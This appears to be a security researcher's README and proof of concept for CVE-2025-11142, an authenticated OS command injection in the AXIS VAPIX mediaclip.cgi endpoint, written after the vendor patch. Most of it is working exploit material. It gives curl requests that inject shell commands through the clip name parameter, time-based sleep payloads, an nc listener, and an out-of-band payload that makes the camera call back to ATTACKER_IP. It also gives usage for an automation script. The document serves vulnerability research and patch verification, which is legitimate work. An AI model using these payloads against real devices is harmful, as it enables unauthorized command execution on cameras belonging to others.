
Proof-of-concept and technical analysis for CVE-2025-11142, an authenticated OS command injection in AXIS VAPIX mediaclip.cgi, with time-based and out-of-band verification methods.
mediaclip.cgi OS Command Injectionn-day research writeup & PoC — post-patch technical analysis of a CVSS 7.1 OS command injection vulnerability in the AXIS VAPIX Media Clip API, independently rediscovered and verified through black-box testing against an Axis device.
Axis's official advisory does not publish technical exploitation details or a public PoC ("Axis will not provide more detailed information about the vulnerability", "no known exploits exist publicly" as of the advisory's publication). This repository documents an independently reproduced, evidence-based confirmation, published only after the vendor fix (AXIS OS 12.7.36) has been generally available. See Disclosure Timeline.
| CVE ID | CVE-2025-11142 |
| CWE | CWE-78 (OS Command Injection) |
| CVSS | 7.1 (High) |
| Affected | AXIS OS 12.6.54 – 12.7.35 |
| Fixed in | AXIS OS 12.7.36 (Active track) |
| Vendor advisory | https://www.axis.com/dam/public/18/0e/90/cve-2025-11142pdf-en-US-519291.pdf |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2025-11142 |
| Privileges required | Authenticated operator/admin (VAPIX HTTP Digest auth) |
| Impact verified here | Arbitrary OS command execution as a low-privileged service account (not root) |
The /axis-cgi/mediaclip.cgi VAPIX endpoint accepts an action=update request with a
free-text name parameter (the clip's display name). Black-box testing shows this value
is passed, unsanitized, to a shell invocation on the device — most likely as part of an
internal file-rename/processing step for the media clip subsystem.
No public technical writeup describes the exact server-side code path (Axis has not published one), so the root cause below is inferred from black-box behavior, not source review.
All requests use HTTP Digest authentication (the device rejects Basic auth). Replace
TARGET, USER, and PASS with your own lab device's values — do not use the example
credentials against a device you do not own or are not authorized to test.
The update action requires an existing clip. If clip 0 does not exist yet, upload a
small, harmless placeholder first:
curl -s --digest -u "$USER:$PASS" --anyauth \
-X POST "http://$TARGET/axis-cgi/mediaclip.cgi?action=upload&media=audio&name=testclip" \
-F "[email protected];type=audio/wav"
Any tiny valid WAV file works for poc.wav (a minimal RIFF/WAVE header is sufficient).
# baseline / control — no injected delay
curl -s --digest -u "$USER:$PASS" --anyauth -w "\n[HTTP:%{http_code} TIME:%{time_total}s]" -G \
"http://$TARGET/axis-cgi/mediaclip.cgi" \
--data-urlencode "action=update" \
--data-urlencode "clip=0" \
--data-urlencode "name=test;sleep 0;"
# injected 8-second delay
curl -s --digest -u "$USER:$PASS" --anyauth -w "\n[HTTP:%{http_code} TIME:%{time_total}s]" -G \
"http://$TARGET/axis-cgi/mediaclip.cgi" \
--data-urlencode "action=update" \
--data-urlencode "clip=0" \
--data-urlencode "name=test;sleep 8;"
A response time that tracks the injected sleep duration (rather than the ~0.3s baseline)
confirms the shell is executing the full name value, not just treating it as an inert
string. This was verified with multiple, independently scaled delays (0s / 3s / 6s / 8s)
and multiple injection syntaxes (;, &&, backticks, $(...)) to rule out coincidence.
Because the HTTP response body never echoes command output (OK / Updating=0 regardless
of payload), the most convincing confirmation uses the device's own outbound network
capability. Start a listener on an attacker-controlled host and have the injected command
call back to it:
# on the attacker host:
nc -lvnp 4444
# injected payload:
curl -s --digest -u "$USER:$PASS" --anyauth -G "http://$TARGET/axis-cgi/mediaclip.cgi" \
--data-urlencode "action=update" \
--data-urlencode "clip=0" \
--data-urlencode "name=test;curl http://ATTACKER_IP:4444/rce_confirmed;"
A genuine inbound HTTP request from the target device's IP address, containing the
curl User-Agent string, is unambiguous proof of remote code execution — the request
can only originate from a command that actually ran on the device.
curl -s --digest -u "$USER:$PASS" --anyauth "http://$TARGET/axis-cgi/mediaclip.cgi?action=remove&clip=0"
poc.pySee poc.py for a self-contained script that automates steps 1–4 against a
target you specify on the command line.
usage: poc.py --target 192.168.1.100 --user admin --pass admin --callback-ip 192.168.1.50 [--callback-port 4444]
mediaclip.cgi) are revealed
here that Axis has not already confirmed.This code is provided for authorized security testing, security research, and defensive purposes only (e.g., verifying whether your own fleet is patched, building detection signatures). Do not use against devices you do not own or do not have explicit written authorization to test. The author(s) assume no liability for misuse.
MIT — see LICENSE.